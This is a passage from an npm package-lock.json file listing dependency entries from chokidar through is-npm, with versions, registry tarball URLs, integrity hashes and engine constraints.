484 | "integrity": "sha512-ekGhOnNVPgT77r4K/U3GDhu+FQ2S8TnK/s2KbIGXi0SZWuwkZ2QNyfWdZW+TVfn84DpEP7rLeCt2UI6bJ8GwbQ==",
485 | "dependencies": {
486 | "anymatch": "~3.1.2",
487 | "braces": "~3.0.2",
488 | "glob-parent": "~5.1.2",
489 | "is-binary-path": "~2.1.0",
490 | "is-glob": "~4.0.1",
491 | "normalize-path": "~3.0.0",
492 | "readdirp": "~3.6.0"
493 | },
494 | "engines": {
495 | "node": ">= 8.10.0"
496 | },
497 | "optionalDependencies": {
498 | "fsevents": "~2.3.2"
499 | }
500 | },
501 | "node_modules/chownr": {
502 | "version": "2.0.0",
503 | "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz",
504 | "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==",
505 | "engines": {
506 | "node": ">=10"
507 | }
508 | },
509 | "node_modules/ci-info": {
510 | "version": "2.0.0",
511 | "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-2.0.0.tgz",
512 | "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ=="
513 | },
514 | "node_modules/cli-boxes": {
515 | "version": "2.2.1",
516 | "resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-2.2.1.tgz",
517 | "integrity": "sha512-y4coMcylgSCdVinjiDBuR8PCC2bLjyGTwEmPb9NHR/QaNU6EUOXcTY/s6VjGMD6ENSEaeQYHCY0GNGS5jfMwPw==",
518 | "engines": {
519 | "node": ">=6"
520 | },
521 | "funding": {
522 | "url": "https://github.com/sponsors/sindresorhus"
523 | }
524 | },
525 | "node_modules/cliui": {
526 | "version": "7.0.4",
527 | "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz",
528 | "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==",
529 | "dependencies": {
530 | "string-width": "^4.2.0",
531 | "strip-ansi": "^6.0.0",
532 | "wrap-ansi": "^7.0.0"
533 | }
534 | },
535 | "node_modules/cliui/node_modules/ansi-regex": {
536 | "version": "5.0.1",
537 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
538 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
539 | "engines": {
540 | "node": ">=8"
541 | }
542 | },
543 | "node_modules/cliui/node_modules/is-fullwidth-code-point": {
544 | "version": "3.0.0",
545 | "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
546 | "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
547 | "engines": {
548 | "node": ">=8"
549 | }
550 | },
551 | "node_modules/cliui/node_modules/string-width": {
552 | "version": "4.2.3",
553 | "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
554 | "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
555 | "dependencies": {
556 | "emoji-regex": "^8.0.0",
557 | "is-fullwidth-code-point": "^3.0.0",
558 | "strip-ansi": "^6.0.1"
559 | },
560 | "engines": {
561 | "node": ">=8"
562 | }
563 | },
564 | "node_modules/cliui/node_modules/strip-ansi": {
565 | "version": "6.0.1",
566 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
567 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
568 | "dependencies": {
569 | "ansi-regex": "^5.0.1"
570 | },
571 | "engines": {
572 | "node": ">=8"
573 | }
574 | },
575 | "node_modules/clone-response": {
576 | "version": "1.0.2",
577 | "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.2.tgz",
578 | "integrity": "sha1-0dyXOSAxTfZ/vrlCI7TuNQI56Ws=",
579 | "dependencies": {
580 | "mimic-response": "^1.0.0"
581 | }
582 | },
583 | "node_modules/color-convert": {
584 | "version": "2.0.1",
585 | "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
586 | "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
587 | "dependencies": {
588 | "color-name": "~1.1.4"
589 | },
590 | "engines": {
591 | "node": ">=7.0.0"
592 | }
593 | },
594 | "node_modules/color-name": {
595 | "version": "1.1.4",
596 | "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
597 | "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
598 | },
599 | "node_modules/color-support": {
600 | "version": "1.1.3",
601 | "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz",
602 | "integrity": "sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==",
603 | "bin": {
604 | "color-support": "bin.js"
605 | }
606 | },
607 | "node_modules/concat-map": {
608 | "version": "0.0.1",
609 | "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
610 | "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s="
611 | },
612 | "node_modules/concurrently": {
613 | "version": "6.4.0",
614 | "resolved": "https://registry.npmjs.org/concurrently/-/concurrently-6.4.0.tgz",
615 | "integrity": "sha512-HZ3D0RTQMH3oS4gvtYj1P+NBc6PzE2McEra6yEFcQKrUQ9HvtTGU4Dbne083F034p+LRb7kWU0tPRNvSGs1UCQ==",
616 | "dependencies": {
617 | "chalk": "^4.1.0",
618 | "date-fns": "^2.16.1",
619 | "lodash": "^4.17.21",
620 | "rxjs": "^6.6.3",
621 | "spawn-command": "^0.0.2-1",
622 | "supports-color": "^8.1.0",
623 | "tree-kill": "^1.2.2",
624 | "yargs": "^16.2.0"
625 | },
626 | "bin": {
627 | "concurrently": "bin/concurrently.js"
628 | },
629 | "engines": {
630 | "node": ">=10.0.0"
631 | }
632 | },
633 | "node_modules/configstore": {
634 | "version": "5.0.1",
635 | "resolved": "https://registry.npmjs.org/configstore/-/configstore-5.0.1.tgz",
636 | "integrity": "sha512-aMKprgk5YhBNyH25hj8wGt2+D52Sw1DRRIzqBwLp2Ya9mFmY8KPvvtvmna8SxVR9JMZ4kzMD68N22vlaRpkeFA==",
637 | "dependencies": {
638 | "dot-prop": "^5.2.0",
639 | "graceful-fs": "^4.1.2",
640 | "make-dir": "^3.0.0",
641 | "unique-string": "^2.0.0",
642 | "write-file-atomic": "^3.0.0",
643 | "xdg-basedir": "^4.0.0"
644 | },
645 | "engines": {
646 | "node": ">=8"
647 | }
648 | },
649 | "node_modules/console-control-strings": {
650 | "version": "1.1.0",
651 | "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz",
652 | "integrity": "sha1-PXz0Rk22RG6mRL9LOVB/mFEAjo4="
653 | },
654 | "node_modules/cpu-features": {
655 | "version": "0.0.2",
656 | "resolved": "https://registry.npmjs.org/cpu-features/-/cpu-features-0.0.2.tgz",
657 | "integrity": "sha512-/2yieBqvMcRj8McNzkycjW2v3OIUOibBfd2dLEJ0nWts8NobAxwiyw9phVNS6oDL8x8tz9F7uNVFEVpJncQpeA==",
658 | "hasInstallScript": true,
659 | "optional": true,
660 | "dependencies": {
661 | "nan": "^2.14.1"
662 | },
663 | "engines": {
664 | "node": ">=8.0.0"
665 | }
666 | },
667 | "node_modules/crypto-random-string": {
668 | "version": "2.0.0",
669 | "resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-2.0.0.tgz",
670 | "integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==",
671 | "engines": {
672 | "node": ">=8"
673 | }
674 | },
675 | "node_modules/date-fns": {
676 | "version": "2.27.0",
677 | "resolved": "https://registry.npmjs.org/date-fns/-/date-fns-2.27.0.tgz",
678 | "integrity": "sha512-sj+J0Mo2p2X1e306MHq282WS4/A8Pz/95GIFcsPNMPMZVI3EUrAdSv90al1k+p74WGLCruMXk23bfEDZa71X9Q==",
679 | "engines": {
680 | "node": ">=0.11"
681 | },
682 | "funding": {
683 | "type": "opencollective",
684 | "url": "https://opencollective.com/date-fns"
685 | }
686 | },
687 | "node_modules/debug": {
688 | "version": "4.3.2",
689 | "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz",
690 | "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==",
691 | "dependencies": {
692 | "ms": "2.1.2"
693 | },
694 | "engines": {
695 | "node": ">=6.0"
696 | },
697 | "peerDependenciesMeta": {
698 | "supports-color": {
699 | "optional": true
700 | }
701 | }
702 | },
703 | "node_modules/decompress-response": {
704 | "version": "3.3.0",
705 | "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz",
706 | "integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=",
707 | "dependencies": {
708 | "mimic-response": "^1.0.0"
709 | },
710 | "engines": {
711 | "node": ">=4"
712 | }
713 | },
714 | "node_modules/deep-extend": {
715 | "version": "0.6.0",
716 | "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz",
717 | "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==",
718 | "engines": {
719 | "node": ">=4.0.0"
720 | }
721 | },
722 | "node_modules/defer-to-connect": {
723 | "version": "1.1.3",
724 | "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-1.1.3.tgz",
725 | "integrity": "sha512-0ISdNousHvZT2EiFlZeZAHBUvSxmKswVCEf8hW7KWgG4a8MVEu/3Vb6uWYozkjylyCxe0JBIiRB1jV45S70WVQ=="
726 | },
727 | "node_modules/delegates": {
728 | "version": "1.0.0",
729 | "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz",
730 | "integrity": "sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o="
731 | },
732 | "node_modules/denque": {
733 | "version": "2.0.1",
734 | "resolved": "https://registry.npmjs.org/denque/-/denque-2.0.1.tgz",
735 | "integrity": "sha512-tfiWc6BQLXNLpNiR5iGd0Ocu3P3VpxfzFiqubLgMfhfOw9WyvgJBd46CClNn9k3qfbjvT//0cf7AlYRX/OslMQ==",
736 | "engines": {
737 | "node": ">=0.10"
738 | }
739 | },
740 | "node_modules/detect-libc": {
741 | "version": "1.0.3",
742 | "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-1.0.3.tgz",
743 | "integrity": "sha1-+hN8S9aY7fVc1c0CrFWfkaTEups=",
744 | "bin": {
745 | "detect-libc": "bin/detect-libc.js"
746 | },
747 | "engines": {
748 | "node": ">=0.10"
749 | }
750 | },
751 | "node_modules/dot-prop": {
752 | "version": "5.3.0",
753 | "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-5.3.0.tgz",
754 | "integrity": "sha512-QM8q3zDe58hqUqjraQOmzZ1LIH9SWQJTlEKCH4kJ2oQvLZk7RbQXvtDM2XEq3fwkV9CCvvH4LA0AV+ogFsBM2Q==",
755 | "dependencies": {
756 | "is-obj": "^2.0.0"
757 | },
758 | "engines": {
759 | "node": ">=8"
760 | }
761 | },
762 | "node_modules/duplexer3": {
763 | "version": "0.1.4",
764 | "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.4.tgz",
765 | "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI="
766 | },
767 | "node_modules/emoji-regex": {
768 | "version": "8.0.0",
769 | "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
770 | "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="
771 | },
772 | "node_modules/end-of-stream": {
773 | "version": "1.4.4",
774 | "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz",
775 | "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==",
776 | "dependencies": {
777 | "once": "^1.4.0"
778 | }
779 | },
780 | "node_modules/escalade": {
781 | "version": "3.1.1",
782 | "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz",
783 | "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==",
784 | "engines": {
785 | "node": ">=6"
786 | }
787 | },
788 | "node_modules/escape-goat": {
789 | "version": "2.1.1",
790 | "resolved": "https://registry.npmjs.org/escape-goat/-/escape-goat-2.1.1.tgz",
791 | "integrity": "sha512-8/uIhbG12Csjy2JEW7D9pHbreaVaS/OpN3ycnyvElTdwM5n6GY6W6e2IPemfvGZeUMqZ9A/3GqIZMgKnBhAw/Q==",
792 | "engines": {
793 | "node": ">=8"
794 | }
795 | },
796 | "node_modules/esm": {
797 | "version": "3.2.25",
798 | "resolved": "https://registry.npmjs.org/esm/-/esm-3.2.25.tgz",
799 | "integrity": "sha512-U1suiZ2oDVWv4zPO56S0NcR5QriEahGtdN2OR6FiOG4WJvcjBVFB0qI4+eKoWFH483PKGuLuu6V8Z4T5g63UVA==",
800 | "engines": {
801 | "node": ">=6"
802 | }
803 | },
804 | "node_modules/fill-range": {
805 | "version": "7.0.1",
806 | "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
807 | "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
808 | "dependencies": {
809 | "to-regex-range": "^5.0.1"
810 | },
811 | "engines": {
812 | "node": ">=8"
813 | }
814 | },
815 | "node_modules/follow-redirects": {
816 | "version": "1.14.5",
817 | "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.5.tgz",
818 | "integrity": "sha512-wtphSXy7d4/OR+MvIFbCVBDzZ5520qV8XfPklSN5QtxuMUJZ+b0Wnst1e1lCDocfzuCkHqj8k0FpZqO+UIaKNA==",
819 | "funding": [
820 | {
821 | "type": "individual",
822 | "url": "https://github.com/sponsors/RubenVerborgh"
823 | }
824 | ],
825 | "engines": {
826 | "node": ">=4.0"
827 | },
828 | "peerDependenciesMeta": {
829 | "debug": {
830 | "optional": true
831 | }
832 | }
833 | },
834 | "node_modules/fs": {
835 | "version": "0.0.1-security",
836 | "resolved": "https://registry.npmjs.org/fs/-/fs-0.0.1-security.tgz",
837 | "integrity": "sha1-invTcYa23d84E/I4WLV+yq9eQdQ="
838 | },
839 | "node_modules/fs-minipass": {
840 | "version": "2.1.0",
841 | "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz",
842 | "integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==",
843 | "dependencies": {
844 | "minipass": "^3.0.0"
845 | },
846 | "engines": {
847 | "node": ">= 8"
848 | }
849 | },
850 | "node_modules/fs.realpath": {
851 | "version": "1.0.0",
852 | "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
853 | "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8="
854 | },
855 | "node_modules/fsevents": {
856 | "version": "2.3.2",
857 | "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
858 | "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
859 | "hasInstallScript": true,
860 | "optional": true,
861 | "os": [
862 | "darwin"
863 | ],
864 | "engines": {
865 | "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
866 | }
867 | },
868 | "node_modules/gauge": {
869 | "version": "3.0.1",
870 | "resolved": "https://registry.npmjs.org/gauge/-/gauge-3.0.1.tgz",
871 | "integrity": "sha512-6STz6KdQgxO4S/ko+AbjlFGGdGcknluoqU+79GOFCDqqyYj5OanQf9AjxwN0jCidtT+ziPMmPSt9E4hfQ0CwIQ==",
872 | "dependencies": {
873 | "aproba": "^1.0.3 || ^2.0.0",
874 | "color-support": "^1.1.2",
875 | "console-control-strings": "^1.0.0",
876 | "has-unicode": "^2.0.1",
877 | "object-assign": "^4.1.1",
878 | "signal-exit": "^3.0.0",
879 | "string-width": "^1.0.1 || ^2.0.0",
880 | "strip-ansi": "^3.0.1 || ^4.0.0",
881 | "wide-align": "^1.1.2"
882 | },
883 | "engines": {
884 | "node": ">=10"
885 | }
886 | },
887 | "node_modules/get-caller-file": {
888 | "version": "2.0.5",
889 | "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz",
890 | "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==",
891 | "engines": {
892 | "node": "6.* || 8.* || >= 10.*"
893 | }
894 | },
895 | "node_modules/get-stream": {
896 | "version": "4.1.0",
897 | "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz",
898 | "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==",
899 | "dependencies": {
900 | "pump": "^3.0.0"
901 | },
902 | "engines": {
903 | "node": ">=6"
904 | }
905 | },
906 | "node_modules/glob": {
907 | "version": "7.2.0",
908 | "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz",
909 | "integrity": "sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==",
910 | "dependencies": {
911 | "fs.realpath": "^1.0.0",
912 | "inflight": "^1.0.4",
913 | "inherits": "2",
914 | "minimatch": "^3.0.4",
915 | "once": "^1.3.0",
916 | "path-is-absolute": "^1.0.0"
917 | },
918 | "engines": {
919 | "node": "*"
920 | },
921 | "funding": {
922 | "url": "https://github.com/sponsors/isaacs"
923 | }
924 | },
925 | "node_modules/glob-parent": {
926 | "version": "5.1.2",
927 | "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
928 | "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
929 | "dependencies": {
930 | "is-glob": "^4.0.1"
931 | },
932 | "engines": {
933 | "node": ">= 6"
934 | }
935 | },
936 | "node_modules/global-dirs": {
937 | "version": "3.0.0",
938 | "resolved": "https://registry.npmjs.org/global-dirs/-/global-dirs-3.0.0.tgz",
939 | "integrity": "sha512-v8ho2DS5RiCjftj1nD9NmnfaOzTdud7RRnVd9kFNOjqZbISlx5DQ+OrTkywgd0dIt7oFCvKetZSHoHcP3sDdiA==",
940 | "dependencies": {
941 | "ini": "2.0.0"
942 | },
943 | "engines": {
944 | "node": ">=10"
945 | },
946 | "funding": {
947 | "url": "https://github.com/sponsors/sindresorhus"
948 | }
949 | },
950 | "node_modules/got": {
951 | "version": "9.6.0",
952 | "resolved": "https://registry.npmjs.org/got/-/got-9.6.0.tgz",
953 | "integrity": "sha512-R7eWptXuGYxwijs0eV+v3o6+XH1IqVK8dJOEecQfTmkncw9AV4dcw/Dhxi8MdlqPthxxpZyizMzyg8RTmEsG+Q==",
954 | "dependencies": {
955 | "@sindresorhus/is": "^0.14.0",
956 | "@szmarczak/http-timer": "^1.1.2",
957 | "cacheable-request": "^6.0.0",
958 | "decompress-response": "^3.3.0",
959 | "duplexer3": "^0.1.4",
960 | "get-stream": "^4.1.0",
961 | "lowercase-keys": "^1.0.1",
962 | "mimic-response": "^1.0.1",
963 | "p-cancelable": "^1.0.0",
964 | "to-readable-stream": "^1.0.0",
965 | "url-parse-lax": "^3.0.0"
966 | },
967 | "engines": {
968 | "node": ">=8.6"
969 | }
970 | },
971 | "node_modules/graceful-fs": {
972 | "version": "4.2.8",
973 | "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.8.tgz",
974 | "integrity": "sha512-qkIilPUYcNhJpd33n0GBXTB1MMPp14TxEsEs0pTrsSVucApsYzW5V+Q8Qxhik6KU3evy+qkAAowTByymK0avdg=="
975 | },
976 | "node_modules/has-flag": {
977 | "version": "4.0.0",
978 | "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
979 | "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
980 | "engines": {
981 | "node": ">=8"
982 | }
983 | },
984 | "node_modules/has-unicode": {
985 | "version": "2.0.1",
986 | "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz",
987 | "integrity": "sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk="
988 | },
989 | "node_modules/has-yarn": {
990 | "version": "2.1.0",
991 | "resolved": "https://registry.npmjs.org/has-yarn/-/has-yarn-2.1.0.tgz",
992 | "integrity": "sha512-UqBRqi4ju7T+TqGNdqAO0PaSVGsDGJUBQvk9eUWNGRY1CFGDzYhLWoM7JQEemnlvVcv/YEmc2wNW8BC24EnUsw==",
993 | "engines": {
994 | "node": ">=8"
995 | }
996 | },
997 | "node_modules/http-cache-semantics": {
998 | "version": "4.1.0",
999 | "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz",
1000 | "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ=="
1001 | },
1002 | "node_modules/https-proxy-agent": {
1003 | "version": "5.0.0",
1004 | "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.0.tgz",
1005 | "integrity": "sha512-EkYm5BcKUGiduxzSt3Eppko+PiNWNEpa4ySk9vTC6wDsQJW9rHSa+UhGNJoRYp7bz6Ht1eaRIa6QaJqO5rCFbA==",
1006 | "dependencies": {
1007 | "agent-base": "6",
1008 | "debug": "4"
1009 | },
1010 | "engines": {
1011 | "node": ">= 6"
1012 | }
1013 | },
1014 | "node_modules/ieee754": {
1015 | "version": "1.2.1",
1016 | "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",
1017 | "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==",
1018 | "funding": [
1019 | {
1020 | "type": "github",
1021 | "url": "https://github.com/sponsors/feross"
1022 | },
1023 | {
1024 | "type": "patreon",
1025 | "url": "https://www.patreon.com/feross"
1026 | },
1027 | {
1028 | "type": "consulting",
1029 | "url": "https://feross.org/support"
1030 | }
1031 | ]
1032 | },
1033 | "node_modules/ignore-by-default": {
1034 | "version": "1.0.1",
1035 | "resolved": "https://registry.npmjs.org/ignore-by-default/-/ignore-by-default-1.0.1.tgz",
1036 | "integrity": "sha1-SMptcvbGo68Aqa1K5odr44ieKwk="
1037 | },
1038 | "node_modules/import-lazy": {
1039 | "version": "2.1.0",
1040 | "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-2.1.0.tgz",
1041 | "integrity": "sha1-BWmOPUXIjo1+nZLLBYTnfwlvPkM=",
1042 | "engines": {
1043 | "node": ">=4"
1044 | }
1045 | },
1046 | "node_modules/imurmurhash": {
1047 | "version": "0.1.4",
1048 | "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
1049 | "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=",
1050 | "engines": {
1051 | "node": ">=0.8.19"
1052 | }
1053 | },
1054 | "node_modules/inflight": {
1055 | "version": "1.0.6",
1056 | "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
1057 | "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=",
1058 | "dependencies": {
1059 | "once": "^1.3.0",
1060 | "wrappy": "1"
1061 | }
1062 | },
1063 | "node_modules/inherits": {
1064 | "version": "2.0.3",
1065 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
1066 | "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
1067 | },
1068 | "node_modules/ini": {
1069 | "version": "2.0.0",
1070 | "resolved": "https://registry.npmjs.org/ini/-/ini-2.0.0.tgz",
1071 | "integrity": "sha512-7PnF4oN3CvZF23ADhA5wRaYEQpJ8qygSkbtTXWBeXWXmEVRXK+1ITciHWwHhsjv1TmW0MgacIv6hEi5pX5NQdA==",
1072 | "engines": {
1073 | "node": ">=10"
1074 | }
1075 | },
1076 | "node_modules/is-binary-path": {
1077 | "version": "2.1.0",
1078 | "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
1079 | "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
1080 | "dependencies": {
1081 | "binary-extensions": "^2.0.0"
1082 | },
1083 | "engines": {
1084 | "node": ">=8"
1085 | }
1086 | },
1087 | "node_modules/is-ci": {
1088 | "version": "2.0.0",
1089 | "resolved": "https://registry.npmjs.org/is-ci/-/is-ci-2.0.0.tgz",
1090 | "integrity": "sha512-YfJT7rkpQB0updsdHLGWrvhBJfcfzNNawYDNIyQXJz0IViGf75O8EBPKSdvw2rF+LGCsX4FZ8tcr3b19LcZq4w==",
1091 | "dependencies": {
1092 | "ci-info": "^2.0.0"
1093 | },
1094 | "bin": {
1095 | "is-ci": "bin.js"
1096 | }
1097 | },
1098 | "node_modules/is-extglob": {
1099 | "version": "2.1.1",
1100 | "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
1101 | "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=",
1102 | "engines": {
1103 | "node": ">=0.10.0"
1104 | }
1105 | },
1106 | "node_modules/is-fullwidth-code-point": {
1107 | "version": "2.0.0",
1108 | "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
1109 | "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=",
1110 | "engines": {
1111 | "node": ">=4"
1112 | }
1113 | },
1114 | "node_modules/is-glob": {
1115 | "version": "4.0.3",
1116 | "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
1117 | "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==",
1118 | "dependencies": {
1119 | "is-extglob": "^2.1.1"
1120 | },
1121 | "engines": {
1122 | "node": ">=0.10.0"
1123 | }
1124 | },
1125 | "node_modules/is-installed-globally": {
1126 | "version": "0.4.0",
1127 | "resolved": "https://registry.npmjs.org/is-installed-globally/-/is-installed-globally-0.4.0.tgz",
1128 | "integrity": "sha512-iwGqO3J21aaSkC7jWnHP/difazwS7SFeIqxv6wEtLU8Y5KlzFTjyqcSIT0d8s4+dDhKytsk9PJZ2BkS5eZwQRQ==",
1129 | "dependencies": {
1130 | "global-dirs": "^3.0.0",
1131 | "is-path-inside": "^3.0.2"
1132 | },
1133 | "engines": {
1134 | "node": ">=10"
1135 | },
1136 | "funding": {
1137 | "url": "https://github.com/sponsors/sindresorhus"
1138 | }
1139 | },
1140 | "node_modules/is-npm": {
1141 | "version": "5.0.0",
1142 | "resolved": "https://registry.npmjs.org/is-npm/-/is-npm-5.0.0.tgz",
1143 | "integrity": "sha512-WW/rQLOazUq+ST/bCAVBp/2oMERWLsR7OrKyt052dNDk4DHcDE0/7QSXITlmi+VBcV13DfIbysG3tZJm5RfdBA==",
1144 | "engines": {
1145 | "node": ">=10"
1146 | },
1147 | "funding": {
